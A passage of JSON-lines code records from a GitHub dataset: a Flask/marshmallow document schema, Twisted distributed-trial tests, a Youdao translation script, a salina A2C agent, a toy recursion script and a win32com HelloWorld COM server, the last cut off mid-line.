+{"seq_id":"16822940081","text":"import re\n\nfrom flask import request\nfrom marshmallow import Schema, pre_dump\n\nfrom sonar.modules.documents.api import DocumentRecord\nfrom sonar.modules.documents.utils import has_external_urls_for_files, \\\n    populate_files_properties\n\n\nclass BaseSchema(Schema):\n    \"\"\"Base schema for marshmallow serialization.\"\"\"\n\n    @pre_dump\n    def pre_dump(self, item, **kwargs):\n        \"\"\"Do some transformations in record before dumping it.\n\n        - Store the main file to use it in methods.\n        - Check if files must point to an external URL.\n        - Populate restrictions, thumbnail and URL in files.\n\n        :param item: Item object to process\n        :returns: Modified item\n        \"\"\"\n        if not item['metadata'].get('_files'):\n            return item\n\n        # Store the main file\n        main_file = self.get_main_file(item)\n        if main_file:\n            item['metadata']['mainFile'] = main_file\n\n        # Check if organisation record forces to point file to an external url\n        item['metadata']['external_url'] = has_external_urls_for_files(\n            item['metadata'])\n\n        # Add restriction, link and thumbnail to files\n        populate_files_properties(item['metadata'])\n\n        return item\n\n    def get_main_file(self, obj):\n        \"\"\"Return the main file.\n\n        :param obj: Record dict.\n        :returns: Main file or None.\n        \"\"\"\n        files = [\n            file for file in obj['metadata'].get('_files', [])\n            if file.get('type') == 'file'\n        ]\n        files = sorted(files, key=lambda file: file.get('order', 100))\n        return files[0] if files else None\n\n    def get_id(self, obj):\n        \"\"\"Get id.\"\"\"\n        return DocumentRecord.get_permanent_link(host=request.host_url,\n                                                 pid=obj['metadata']['pid'])\n\n    def get_title(self, obj):\n        \"\"\"Get title.\"\"\"\n        for title in obj['metadata'].get('title', []):\n            return title['mainTitle'][0]['value']\n\n        return None\n\n    def get_start_date(self, obj):\n        \"\"\"Get start date.\"\"\"\n        for provision_activity in obj['metadata'].get('provisionActivity', []):\n            if provision_activity[\n                    'type'] == 'bf:Publication' and provision_activity.get(\n                        'startDate'):\n                return provision_activity['startDate']\n\n        return None\n\n    def get_keywords(self, obj):\n        \"\"\"Get keywords.\"\"\"\n        items = []\n\n        for subjects in obj['metadata'].get('subjects', []):\n            items = items + subjects['label']['value']\n\n        return items\n\n    def get_url(self, obj):\n        \"\"\"Get url.\"\"\"\n        if obj['metadata'].get('mainFile', {}).get('links'):\n            if obj['metadata']['mainFile']['links'].get('download'):\n                return '{host}{image}'.format(\n                    host=request.host_url.rstrip('/'),\n                    image=obj['metadata']['mainFile']['links']['download'])\n\n            if obj['metadata']['mainFile']['links'].get('external'):\n                return obj['metadata']['mainFile']['links']['external']\n\n        return None\n\n    def get_pages(self, obj):\n        \"\"\"Get pages.\n\n        :param obj: Record dict.\n        :returns: Pages stored in partOf\n        \"\"\"\n        for part_of in obj['metadata'].get('partOf', []):\n            if part_of.get('numberingPages'):\n                return part_of['numberingPages']\n\n        return None\n\n    def get_first_page(self, obj):\n        \"\"\"Get the first page.\n\n        :param obj: Record dict.\n        :returns: The first page.\n        \"\"\"\n        for part_of in obj['metadata'].get('partOf', []):\n            if part_of.get('numberingPages'):\n                matches = re.match(r'^([0-9]+)', part_of['numberingPages'])\n\n                return matches.group(1) if matches else None\n\n        return None\n\n    def get_last_page(self, obj):\n        \"\"\"Get the last page.\n\n        :param obj: Record dict.\n        :returns: The last page.\n        \"\"\"\n        for part_of in obj['metadata'].get('partOf', []):\n            if part_of.get('numberingPages'):\n                matches = re.match(r'^[0-9]+\\-([0-9]+)',\n                                   part_of['numberingPages'])\n\n                return matches.group(1) if matches else None\n\n        return None\n","repo_name":"rero/sonar","sub_path":"sonar/modules/documents/serializers/schemas/base_schema.py","file_name":"base_schema.py","file_ext":"py","file_size_in_byte":4296,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"16"}
+{"seq_id":"71710921928","text":"import os\nimport sys\nfrom cStringIO import StringIO\n\nfrom twisted.internet.protocol import ProcessProtocol\nfrom twisted.internet.defer import fail, succeed\nfrom twisted.internet.task import Cooperator, deferLater\nfrom twisted.internet.main import CONNECTION_DONE\nfrom twisted.internet import reactor\nfrom twisted.python.failure import Failure\nfrom twisted.python.lockfile import FilesystemLock\n\nfrom twisted.test.test_cooperator import FakeScheduler\n\nfrom twisted.trial.unittest import TestCase\nfrom twisted.trial.reporter import Reporter, TreeReporter\nfrom twisted.trial.reporter import UncleanWarningsReporterWrapper\nfrom twisted.trial.runner import TrialSuite, ErrorHolder\n\nfrom twisted.trial._dist.disttrial import DistTrialRunner\nfrom twisted.trial._dist.distreporter import DistReporter\nfrom twisted.trial._dist.worker import LocalWorker\n\n\n\nclass FakeTransport(object):\n    \"\"\"\n    A simple fake process transport.\n    \"\"\"\n\n    def writeToChild(self, fd, data):\n        \"\"\"\n        Ignore write calls.\n        \"\"\"\n\n\n\nclass FakeReactor(object):\n    \"\"\"\n    A simple fake reactor for testing purposes.\n    \"\"\"\n    spawnCount = 0\n    stopCount = 0\n    runCount = 0\n\n    def spawnProcess(self, worker, *args, **kwargs):\n        worker.makeConnection(FakeTransport())\n        self.spawnCount += 1\n\n\n    def stop(self):\n        self.stopCount += 1\n\n\n    def run(self):\n        self.runCount += 1\n\n\n    def addSystemEventTrigger(self, *args, **kw):\n        pass\n\n\n\nclass EternalTerminationPredicateFactory(object):\n    \"\"\"\n    A rigged terminationPredicateFactory for which time never pass.\n    \"\"\"\n\n    def __call__(self):\n        \"\"\"\n        See: L{task._Timer}\n        \"\"\"\n        return False\n\n\n\nclass DistTrialRunnerTests(TestCase):\n    \"\"\"\n    Tests for L{DistTrialRunner}.\n    \"\"\"\n\n    def setUp(self):\n        \"\"\"\n        Create a runner for testing.\n        \"\"\"\n        self.runner = DistTrialRunner(TreeReporter, 4, [],\n                                      workingDirectory=self.mktemp())\n        self.runner._stream = StringIO()\n\n\n    def getFakeSchedulerAndEternalCooperator(self):\n        \"\"\"\n        Helper to create fake scheduler and cooperator in tests.\n\n        The cooperator has a termination timer which will never inform\n        the scheduler that the task needs to be terminated.\n\n        @return: L{tuple} of (scheduler, cooperator)\n        \"\"\"\n        scheduler = FakeScheduler()\n        cooperator = Cooperator(\n            scheduler=scheduler,\n            terminationPredicateFactory=EternalTerminationPredicateFactory,\n            )\n        return scheduler, cooperator\n\n\n    def test_writeResults(self):\n        \"\"\"\n        L{DistTrialRunner.writeResults} writes to the stream specified in the\n        init.\n        \"\"\"\n        stringIO = StringIO()\n        result = DistReporter(Reporter(stringIO))\n        self.runner.writeResults(result)\n        self.assertTrue(stringIO.tell() > 0)\n\n\n    def test_createLocalWorkers(self):\n        \"\"\"\n        C{createLocalWorkers} iterates the list of protocols and create one\n        L{LocalWorker} for each.\n        \"\"\"\n        protocols = [object() for x in xrange(4)]\n        workers = self.runner.createLocalWorkers(protocols, \"path\")\n        for s in workers:\n            self.assertIsInstance(s, LocalWorker)\n        self.assertEqual(4, len(workers))\n\n\n    def test_launchWorkerProcesses(self):\n        \"\"\"\n        Given a C{spawnProcess} function, C{launchWorkerProcess} launches a\n        python process with a existing path as its argument.\n        \"\"\"\n        protocols = [ProcessProtocol() for i in range(4)]\n        arguments = []\n        environment = {}\n\n        def fakeSpawnProcess(processProtocol, executable, args=(), env={},\n                             path=None, uid=None, gid=None, usePTY=0,\n                             childFDs=None):\n            arguments.append(executable)\n            arguments.extend(args)\n            environment.update(env)\n\n        self.runner.launchWorkerProcesses(\n            fakeSpawnProcess, protocols, [\"foo\"])\n        self.assertEqual(arguments[0], arguments[1])\n        self.assertTrue(os.path.exists(arguments[2]))\n        self.assertEqual(\"foo\", arguments[3])\n        self.assertEqual(os.pathsep.join(sys.path),\n                         environment[\"TRIAL_PYTHONPATH\"])\n\n\n    def test_run(self):\n        \"\"\"\n        C{run} starts the reactor exactly once and spawns each of the workers\n        exactly once.\n        \"\"\"\n        fakeReactor = FakeReactor()\n        suite = TrialSuite()\n        for i in xrange(10):\n            suite.addTest(TestCase())\n        self.runner.run(suite, fakeReactor)\n        self.assertEqual(fakeReactor.runCount, 1)\n        self.assertEqual(fakeReactor.spawnCount, self.runner._workerNumber)\n\n\n    def test_runUsedDirectory(self):\n        \"\"\"\n        L{DistTrialRunner} checks if the test directory is already locked, and\n        if it is generates a name based on it.\n        \"\"\"\n\n        class FakeReactorWithLock(FakeReactor):\n\n            def spawnProcess(oself, worker, *args, **kwargs):\n                self.assertEqual(os.path.abspath(worker._logDirectory),\n                                 os.path.abspath(\n                                     os.path.join(workingDirectory + \"-1\",\n                                                  str(oself.spawnCount))))\n                localLock = FilesystemLock(workingDirectory + \"-1.lock\")\n                self.assertFalse(localLock.lock())\n                oself.spawnCount += 1\n                worker.makeConnection(FakeTransport())\n                worker._ampProtocol.run = lambda *args: succeed(None)\n\n        newDirectory = self.mktemp()\n        os.mkdir(newDirectory)\n        workingDirectory = os.path.join(newDirectory, \"_trial_temp\")\n        lock = FilesystemLock(workingDirectory + \".lock\")\n        lock.lock()\n        self.addCleanup(lock.unlock)\n        self.runner._workingDirectory = workingDirectory\n\n        fakeReactor = FakeReactorWithLock()\n        suite = TrialSuite()\n        for i in xrange(10):\n            suite.addTest(TestCase())\n        self.runner.run(suite, fakeReactor)\n\n\n    def test_minimalWorker(self):\n        \"\"\"\n        L{DistTrialRunner} doesn't try to start more workers than the number of\n        tests.\n        \"\"\"\n        fakeReactor = FakeReactor()\n        self.runner.run(TestCase(), fakeReactor)\n        self.assertEqual(fakeReactor.runCount, 1)\n        self.assertEqual(fakeReactor.spawnCount, 1)\n\n\n    def test_runUncleanWarnings(self):\n        \"\"\"\n        Running with the C{unclean-warnings} option makes L{DistTrialRunner}\n        uses the L{UncleanWarningsReporterWrapper}.\n        \"\"\"\n        fakeReactor = FakeReactor()\n        self.runner._uncleanWarnings = True\n        result = self.runner.run(TestCase(), fakeReactor)\n        self.assertIsInstance(result, DistReporter)\n        self.assertIsInstance(result.original,\n                              UncleanWarningsReporterWrapper)\n\n\n    def test_runWithoutTest(self):\n        \"\"\"\n        When the suite contains no test, L{DistTrialRunner} takes a shortcut\n        path without launching any process or starting the reactor.\n        \"\"\"\n        fakeReactor = object()\n        suite = TrialSuite()\n        result = self.runner.run(suite, fakeReactor)\n        self.assertIsInstance(result, DistReporter)\n        output = self.runner._stream.getvalue()\n        self.assertIn(\"Running 0 test\", output)\n        self.assertIn(\"PASSED\", output)\n\n\n    def test_runWithoutTestButWithAnError(self):\n        \"\"\"\n        Even if there is no test, the suite can contain an error (most likely,\n        an import error): this should make the run fail, and the error should\n        be printed.\n        \"\"\"\n        fakeReactor = object()\n        error = ErrorHolder(\"an error\", Failure(RuntimeError(\"foo bar\")))\n        result = self.runner.run(error, fakeReactor)\n        self.assertIsInstance(result, DistReporter)\n        output = self.runner._stream.getvalue()\n        self.assertIn(\"Running 0 test\", output)\n        self.assertIn(\"foo bar\", output)\n        self.assertIn(\"an error\", output)\n        self.assertIn(\"errors=1\", output)\n        self.assertIn(\"FAILED\", output)\n\n\n    def test_runUnexpectedError(self):\n        \"\"\"\n        If for some reasons we can't connect to the worker process, the test\n        suite catches and fails.\n        \"\"\"\n\n        class FakeReactorWithFail(FakeReactor):\n\n            def spawnProcess(self, worker, *args, **kwargs):\n                worker.makeConnection(FakeTransport())\n                self.spawnCount += 1\n                worker._ampProtocol.run = self.failingRun\n\n            def failingRun(self, case, result):\n                return fail(RuntimeError(\"oops\"))\n\n        scheduler, cooperator = self.getFakeSchedulerAndEternalCooperator()\n\n        fakeReactor = FakeReactorWithFail()\n        result = self.runner.run(TestCase(), fakeReactor,\n                                 cooperator.cooperate)\n        self.assertEqual(fakeReactor.runCount, 1)\n        self.assertEqual(fakeReactor.spawnCount, 1)\n        scheduler.pump()\n        self.assertEqual(1, len(result.original.failures))\n\n\n    def test_runStopAfterTests(self):\n        \"\"\"\n        L{DistTrialRunner} calls C{reactor.stop} and unlocks the test directory\n        once the tests have run.\n        \"\"\"\n        functions = []\n\n        class FakeReactorWithSuccess(FakeReactor):\n\n            def spawnProcess(self, worker, *args, **kwargs):\n                worker.makeConnection(FakeTransport())\n                self.spawnCount += 1\n                worker._ampProtocol.run = self.succeedingRun\n\n            def succeedingRun(self, case, result):\n                return succeed(None)\n\n            def addSystemEventTrigger(oself, phase, event, function):\n                self.assertEqual('before', phase)\n                self.assertEqual('shutdown', event)\n                functions.append(function)\n\n        workingDirectory = self.runner._workingDirectory\n\n        fakeReactor = FakeReactorWithSuccess()\n        self.runner.run(TestCase(), fakeReactor)\n\n        def check():\n            localLock = FilesystemLock(workingDirectory + \".lock\")\n            self.assertTrue(localLock.lock())\n            self.assertEqual(1, fakeReactor.stopCount)\n            # We don't wait for the process deferreds here, so nothing is\n            # returned by the function before shutdown\n            self.assertIdentical(None, functions[0]())\n\n        return deferLater(reactor, 0, check)\n\n\n    def test_runWaitForProcessesDeferreds(self):\n        \"\"\"\n        L{DistTrialRunner} waits for the worker processes to stop when the\n        reactor is stopping, and then unlocks the test directory, not trying to\n        stop the reactor again.\n        \"\"\"\n        functions = []\n        workers = []\n\n        class FakeReactorWithEvent(FakeReactor):\n\n            def spawnProcess(self, worker, *args, **kwargs):\n                worker.makeConnection(FakeTransport())\n                workers.append(worker)\n\n            def addSystemEventTrigger(oself, phase, event, function):\n                self.assertEqual('before', phase)\n                self.assertEqual('shutdown', event)\n                functions.append(function)\n\n        workingDirectory = self.runner._workingDirectory\n\n        fakeReactor = FakeReactorWithEvent()\n        self.runner.run(TestCase(), fakeReactor)\n\n        def check(ign):\n            # Let the AMP deferreds fire\n            return deferLater(reactor, 0, realCheck)\n\n        def realCheck():\n            localLock = FilesystemLock(workingDirectory + \".lock\")\n            self.assertTrue(localLock.lock())\n            # Stop is not called, as it ought to have been called before\n            self.assertEqual(0, fakeReactor.stopCount)\n\n        workers[0].processEnded(Failure(CONNECTION_DONE))\n        return functions[0]().addCallback(check)\n\n\n    def test_runUntilFailure(self):\n        \"\"\"\n        L{DistTrialRunner} can run in C{untilFailure} mode where it will run\n        the given tests until they fail.\n        \"\"\"\n        called = []\n\n        class FakeReactorWithSuccess(FakeReactor):\n\n            def spawnProcess(self, worker, *args, **kwargs):\n                worker.makeConnection(FakeTransport())\n                self.spawnCount += 1\n                worker._ampProtocol.run = self.succeedingRun\n\n            def succeedingRun(self, case, result):\n                called.append(None)\n                if len(called) == 5:\n                    return fail(RuntimeError(\"oops\"))\n                return succeed(None)\n\n        fakeReactor = FakeReactorWithSuccess()\n\n        scheduler, cooperator = self.getFakeSchedulerAndEternalCooperator()\n\n        result = self.runner.run(\n            TestCase(), fakeReactor, cooperate=cooperator.cooperate,\n            untilFailure=True)\n        scheduler.pump()\n        self.assertEqual(5, len(called))\n        self.assertFalse(result.wasSuccessful())\n        output = self.runner._stream.getvalue()\n        self.assertIn(\"PASSED\", output)\n        self.assertIn(\"FAIL\", output)\n","repo_name":"Chudry/Xerror","sub_path":"env/lib/python2.7/site-packages/twisted/trial/_dist/test/test_disttrial.py","file_name":"test_disttrial.py","file_ext":"py","file_size_in_byte":13030,"program_lang":"python","lang":"en","doc_type":"code","stars":477,"dataset":"github-code","pt":"16"}
+{"seq_id":"12555741881","text":"import requests\nimport json\nword = input('请输入要翻译的内容：')\nurl = 'http://fanyi.youdao.com/translate'\ndata = {'i': word,'doctype': 'json'}   \nheaders = {'User-Agent': 'Mozilla/5.0'}       \nresponse = requests.post(url,data=data,headers=headers)\nhtml=response.content.decode('utf-8')\nresult = json.loads(html)['translateResult'][0][0]['tgt']\nprint(result)","repo_name":"xiaoqing1033/ssqwz","sub_path":"youdao.py","file_name":"youdao.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42904464543","text":"import math\nimport multiprocessing\nfrom copy import deepcopy\nfrom typing import Union\n\nimport hydra\nimport omegaconf\nimport salina\nimport torch\nimport torch.nn as nn\nfrom salina import Workspace, get_arguments, get_class\nfrom salina.agents import Agents, TemporalAgent\nfrom salina.agents.asynchronous import AsynchronousAgent\n\nfrom env import AutoResetEnvAgent, NoAutoResetEnvAgent\nfrom utils import build_nn, load_model, save_model, gae\nfrom plot import CustomLogger, plot_hyperparams, Logger\n\ndef create_a2c_agents(cfg, train_env_agent, eval_env_agent, kwargs_action_agent={}):\n    if train_env_agent.is_action_space_continuous():\n        observation_size = train_env_agent.get_observation_size()\n        action_size = train_env_agent.get_action_size()\n        a2c_agent = A2CParameterizedAgent(cfg.algorithm.hyperparameters, observation_size, cfg.algorithm.neural_network.hidden_layer_sizes, action_size, cfg.algorithm.mutation_rate, **kwargs_action_agent)\n        critic_agent = CriticAgent(observation_size, cfg.algorithm.neural_network.hidden_layer_sizes)\n        train_agent = Agents(train_env_agent, a2c_agent, critic_agent)\n        eval_agent = Agents(eval_env_agent, a2c_agent)\n    else:\n        pass # TODO: Implement discrete action space\n\n    train_agent = TemporalAgent(train_agent)\n    eval_agent = TemporalAgent(eval_agent)\n    train_agent.seed(cfg.algorithm.stochasticity_seed)\n    return train_agent, eval_agent, a2c_agent, critic_agent\n\n\nclass CriticAgent(salina.TAgent):\n    def __init__(self, observation_size, hidden_layer_sizes):\n        super().__init__()\n        # Create the critic neural network\n        # We use a function that takes a list of layer sizes and returns the neural network\n        # TODO: This is for continuous actions, but we should be able to use it for discrete actions as well\n        self.critic_model = build_nn([observation_size] + list(hidden_layer_sizes) + [1], activation=nn.ReLU, output_activation=nn.Identity)\n\n    def forward(self, t, **kwargs):\n        input = self.get((\"env/env_obs\", t))\n        critic = self.critic_model(input).squeeze(-1)\n        self.set((\"critic\", t), critic)\n\nclass A2CAgent(salina.TAgent):\n    '''This agent implements an Advantage Actor-Critic agent (A2C).\n    The hyperparameters of the agent are customizable.'''\n\n    def __init__(self, parameters, observation_size, hidden_layer_sizes, action_size, stochastic=True, std_param=None):\n        super().__init__()\n        # Create the action neural network\n        # We use a function that takes a list of layer sizes and returns the neural network\n        self.action_model = build_nn([observation_size] + list(hidden_layer_sizes) + [action_size], activation=nn.ReLU)\n\n        self.observation_size = observation_size # The size of the observations\n        self.hidden_layer_sizes = hidden_layer_sizes # The sizes of the hidden layers\n        self.action_size = action_size # The size of the actions (output of the action model)\n        self.stochastic = stochastic # Whether to use stochastic or deterministic actions\n        self.params = omegaconf.DictConfig(content=parameters) # The hyperparameters of the agent\n        if std_param is None:\n            init_variance = torch.randn(action_size, 1)\n            self.std_param = nn.parameter.Parameter(init_variance)\n        else:\n            self.std_param = std_param.clone()\n        self.softplus = torch.nn.Softplus() # Like ReLU, but with a smooth gradient at zero\n\n    def forward(self, t, **kwargs):\n        input = self.get((\"env/env_obs\", t))\n        scores = self.action_model(input)\n        dist = torch.distributions.Normal(scores, self.softplus(self.std_param))\n        self.set((\"entropy\", t), dist.entropy())\n\n        if self.stochastic:\n            action = dist.sample()\n        else:\n            action = scores\n\n        logprobs = dist.log_prob(action).sum(axis=-1)\n\n        self.set((\"action\", t), action)\n        self.set((\"action_logprobs\", t), logprobs)\n\n    def compute_a2c_loss(self, action_logprobs: torch.Tensor, td: float) -> float:\n        a2c_loss = action_logprobs[:-1] * td.detach()\n        return a2c_loss.mean()\n\n    def get_hyperparameter(self, param_name):\n        return self.params[param_name]\n\n    def set_hyperparameter(self, param_name, value):\n        self.params[param_name] = value\n\n    def compute_critic_loss(self, cfg, reward, must_bootstrap, critic) -> Union[float, float]:\n        # Compute temporal difference\n        # target = reward[:-1] + cfg.algorithm.discount_factor * critic[1:].detach() * (must_bootstrap.float())\n        # td = target - critic[:-1]\n        td = gae(critic, reward, must_bootstrap, cfg.algorithm.discount_factor, cfg.algorithm.gae)\n\n        # Compute critic loss\n        td_error = td ** 2\n        critic_loss = td_error.mean()\n        return critic_loss, td\n    \n    def compute_loss(self, cfg, train_workspace: Workspace, timestep, logger) -> float:\n        entropy = train_workspace[\"entropy\"]\n\n        transition_workspace = get_transitions(train_workspace)\n        critic, done, action_logprobs, reward, action, truncated = transition_workspace[\n            \"critic\", \"env/done\", \"action_logprobs\", \"env/reward\", \"action\", \"env/truncated\"\n        ]\n\n        must_bootstrap = torch.logical_or(~done[1], truncated[1])\n\n        critic_loss, td = self.compute_critic_loss(cfg, reward, must_bootstrap, critic)\n\n        entropy_loss = entropy.mean()\n\n        a2c_loss = self.compute_a2c_loss(action_logprobs, td)\n\n        logger.log_losses(timestep, critic_loss, entropy_loss, a2c_loss)\n\n        loss = (\n            - self.params.entropy_coef * entropy_loss\n            + self.params.critic_coef * critic_loss\n            - self.params.a2c_coef * a2c_loss\n        )\n\n        return loss\n\ndef get_transitions(workspace):\n    \"\"\"\n    Takes in a workspace from salina:\n    [(step1),(step2),(step3), ... ]\n    return a workspace of transitions :\n    [\n        [step1,step2],\n        [step2,step3]\n        ...\n    ]\n    Filters every transitions [step_final,step_initial]\n    \"\"\"\n    transitions = {}\n    done = workspace[\"env/done\"][:-1]\n    for key in workspace.keys():\n        array = workspace[key]\n\n        # Now, we remove the transitions of the form (terminal_state -> initial_state)\n        x = array[:-1][~done]\n        x_next = array[1:][~done]\n        transitions[key] = torch.stack([x, x_next])\n    \n    workspace_without_transitions = Workspace()\n    for k,v in transitions.items():\n        workspace_without_transitions.set_full(k, v)\n    \n    return workspace_without_transitions\n\n\n\nclass A2CParameterizedAgent(salina.TAgent):\n    '''\n    This agent is in charge of mutating the hyperparameters of an A2C agent.\n    '''\n\n    def __init__(self, parameters, observation_size, hidden_layer_sizes, action_size, mutation_rate, stochastic=True, generated_parameters=None):\n        super().__init__()\n\n        self.mutation_rate = mutation_rate\n        \n        simplified_parameters = omegaconf.DictConfig(content={}) # The A2C Agent only sees a dictionary of (param_name, param_value) entries\n        self.params_metadata = omegaconf.DictConfig(content={}) # This wrapper will store the metadata for the parameters of the A2C agent, so it knows how to change them when needed\n        for param in parameters:\n            if generated_parameters is None: # If no initialization for the parameters is provided, we use our own initialization\n                simplified_parameters[param] = torch.distributions.Uniform(parameters[param].min, parameters[param].max).sample().item() # We get a 0D tensor, so we do .item(), to get the value\n            else:\n                simplified_parameters[param] = generated_parameters[param]\n            self.params_metadata[param] = {'min': parameters[param].min, 'max': parameters[param].max}\n\n        self.a2c_agent = A2CAgent(parameters=simplified_parameters, observation_size=observation_size, hidden_layer_sizes=hidden_layer_sizes, action_size=action_size, stochastic=stochastic)\n        \n    def mutate_hyperparameters(self):\n        '''This function mutates, randomly, all the hyperparameters of this agent, according to the mutation rate'''\n        for param in self.params_metadata:\n            # We'll generate a completely random value, and mutate the original one according to the mutation rate.\n            old_val = self.a2c_agent.get_hyperparameter(param)\n            generated_val = torch.distributions.Uniform(self.params_metadata[param].min, self.params_metadata[param].max).sample().item() # We get a 0D tensor, so we do .item(), to get the value\n            discriminator = torch.distributions.Uniform(0, 1).sample().item()\n            if discriminator > 0.5:\n                mutated_val = 0.8 * old_val\n            else:\n                mutated_val = 1.2 * old_val\n            self.a2c_agent.set_hyperparameter(param, mutated_val)\n    \n    def get_agent(self):\n        return self.a2c_agent\n\n    def compute_critic_loss(self, **kwargs):\n        return self.a2c_agent.compute_critic_loss(**kwargs)\n    \n    def compute_a2c_loss(self, **kwargs):\n        return self.a2c_agent.compute_a2c_loss(**kwargs)\n\n    def copy(self, other):\n        self.a2c_agent = deepcopy(other.get_agent())\n    \n    def copy_hyperparams(self, other):\n        self.get_agent().params = deepcopy(other.get_agent().params)\n\n    def get_cumulated_reward(self):\n        return self.a2c_agent.get_cumulated_reward()\n\n    def __call__(self, workspace, t, **kwargs):\n        return self.a2c_agent(t=t, workspace=workspace, kwargs=kwargs)\n    \n    def compute_loss(self, **kwargs):\n        return self.a2c_agent.compute_loss(**kwargs)\n\ndef get_creward(eval_agent):\n    eval_workspace = Workspace() # This is a fresh new workspace that we will use to evaluate the performance of this agent, and we'll discard it afterwards.\n\n    eval_agent(eval_workspace, t=0, stop_variable='env/done', stochastic=False) # Run the evaluation agent until it reaches a terminal state on all its environments\n\n    rewards = eval_workspace['env/cumulated_reward'][-1] # Get the last cumulated reward of the agent, which is the reward of the last timestep (terminal state)\n\n    return rewards.mean()\n\ndef create_agent(cfg):\n    # 1) Start by creating the environment agents\n    train_env_agent = AutoResetEnvAgent(cfg)\n    eval_env_agent = NoAutoResetEnvAgent(cfg)\n\n    # 2) Create all the agents that we'll use for training and evaluating\n    train_agent, eval_agent, action_agent, critic_agent = create_a2c_agents(cfg, train_env_agent, eval_env_agent)\n\n    # 3) Create the tcritic_agent, which will be used to compute the value of each state\n    tcritic_agent = TemporalAgent(critic_agent)\n\n    # 4) Create the workspace of this member of the population\n    workspace = Workspace()\n    return action_agent, tcritic_agent, train_agent, eval_agent, workspace\n\ndef a2c_train(cfg, action_agent: A2CParameterizedAgent, tcritic_agent: TemporalAgent, train_agent: TemporalAgent, eval_agent: TemporalAgent, workspace: Workspace, logger):\n    epoch_logger = CustomLogger(cfg)\n\n    total_timesteps = 0\n    max_reward = 0\n\n    # Configure the optimizer over the a2c agent\n    optimizer_args = get_arguments(cfg.optimizer)\n    optimizer = get_class(cfg.optimizer)(\n        nn.Sequential(action_agent, tcritic_agent.agent).parameters(), **optimizer_args\n    )\n\n    for epoch in range(cfg.algorithm.max_epochs):\n        print(\"Epoch: {}\".format(epoch))\n        consumed_budget = 0\n        while consumed_budget < cfg.algorithm.train_budget:\n            if consumed_budget > 0:\n                workspace.zero_grad()\n                workspace.copy_n_last_steps(1)\n                train_agent(t=1, workspace=workspace, n_steps=cfg.algorithm.num_timesteps - 1)\n            else:\n                train_agent(t=0, workspace=workspace, n_steps=cfg.algorithm.num_timesteps)\n\n            steps = (workspace.time_size() - 1) * workspace.batch_size()\n            consumed_budget += steps\n            \n            loss = action_agent.compute_loss(cfg=cfg, train_workspace=workspace, timestep=total_timesteps + consumed_budget, logger=logger)\n\n\n            optimizer.zero_grad()\n            loss.backward()\n            torch.nn.utils.clip_grad_norm_(action_agent.parameters(), cfg.algorithm.max_grad_norm)\n            optimizer.step()\n\n        total_timesteps += consumed_budget\n\n        print('Finished epoch {}'.format(epoch))\n\n        reward = get_creward(eval_agent)\n\n        logger.add_log(\"reward\", reward, total_timesteps)\n\n        if (reward > max_reward):\n            max_reward = reward\n            save_agent = Agents(action_agent, tcritic_agent.agent)\n            save_model(save_agent.state_dict(), '/home/acmc/repos/projet-recherche-lu3in013-2022/saved_agents/agent_{}.pickle'.format(math.floor(reward)))\n            print('Saved agent')\n        \n\n@hydra.main(config_path=\".\", config_name=\"pbt.yaml\")\ndef run_a2c(cfg):\n    # First, build the  logger\n    logger = Logger(cfg)\n    torch.manual_seed(cfg.algorithm.stochasticity_seed)\n    action_agent, tcritic_agent, train_agent, eval_agent, workspace = create_agent(cfg)\n    #train_agent.load_state_dict(load_model('/home/acmc/repos/projet-recherche-lu3in013-2022/saved_agents/agent_20.pickle'))\n    a2c_train(cfg, action_agent, tcritic_agent, train_agent, eval_agent, workspace, logger=logger)\n\nif __name__ == '__main__':\n    run_a2c()\n","repo_name":"ACMCMC/projet-recherche-lu3in013-2022","sub_path":"a2c.py","file_name":"a2c.py","file_ext":"py","file_size_in_byte":13341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"38855046140","text":"class Dat:\n    def __init__(self):\n        self.param = []\n        self.index = 0\n\n    def setParam(self, v):\n        self.param[index] = v\n        self.index += 1\n\n    def printValues(self):\n        print(\"{} - {} - {}\".format(self.param[0], self.param[1], self.param[2]))\n\ndef recursiveFunction(dats, values, length, index, startPoint):\n    if index < 0:\n        return\n\n    v = values[index]\n    vLen = int(length / len(v))\n    for x in range(len(v)):\n        for y in range(vLen):\n            buf = startPoint + y + x * vLen\n            print(\"{} - {}: {}\".format(index, x, buf))\n            dats[buf] = v[x]\n        recursiveFunction(dats, values, vLen, index - 1, startPoint)\n        startPoint = x * vLen\n\ndef recursiveMethod(a, b, c):\n    valNum = 3\n    values = []\n    values.append(a)\n    values.append(b)\n    values.append(c)\n    length = len(a) * len(b) * len(c)\n    dats = []\n    for i in range(length):\n        dats.append(Dat())\n\n    print(\"length: \", length)\n\n    recursiveFunction(dats, values, length, valNum - 1, 0)\n\n    for j in range(length):\n        dats[j].printValues()\n\n\ndef main():\n    a = [\"a1\", \"a2\", \"a3\"]\n    b = [1, 10, 20, 30, 40, 50]\n    c = [0, 1, 2, 3]\n    recursiveMethod(a, b, c)\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Sylphy0052/MolComAnalyzer","sub_path":"createDat/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27345491095","text":"#!/usr/bin/env python\n\nimport logging, pythoncom\nfrom win32com.server.exception import COMException\nimport win32com.server.util\nimport win32com.client.dynamic\n\nlogging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s- %(message)s')\n\nlogging.debug('Start of program')\n\n\nclass HelloWorld:\n\n    _reg_clsid_ = \"{4201D782-31A9-4933-958F-1C10617A2A2F}\"\n\n    assert _reg_clsid_ !=None\n\n    _reg_desc_ = \"Python Test COM Server\"\n\n    _reg_progid_ = \"Python.TestServer\"\n\n    _public_methods_ = ['Hello']\n\n    _public_attrs_ = ['softspace', 'noCalls']\n\n    _readonly_attrs_ = ['noCalls']\n\n\n    \n    def __init__(self):\n\n        self.softspace = 1\n\n        self.noCalls = 0\n\n        \n\n    def Hello(self, who):\n\n        self.noCalls = self.noCalls + 1\n\n        # insert \"softspace\" number of spaces\n\n        return \"Hello\" + \" \" * self.softspace + who\n\n\n\ndef main():\n\n    h=HelloWorld()\n    logging.debug(h)\n    logging.debug(dir(h))\n    h.Hello(\"Ray\")\n    logging.debug(h.Hello)\n    logging.debug(h.Hello(\"Ray\"))\n    \n\nif __name__ == '__main__':\n    main()\n\n    import 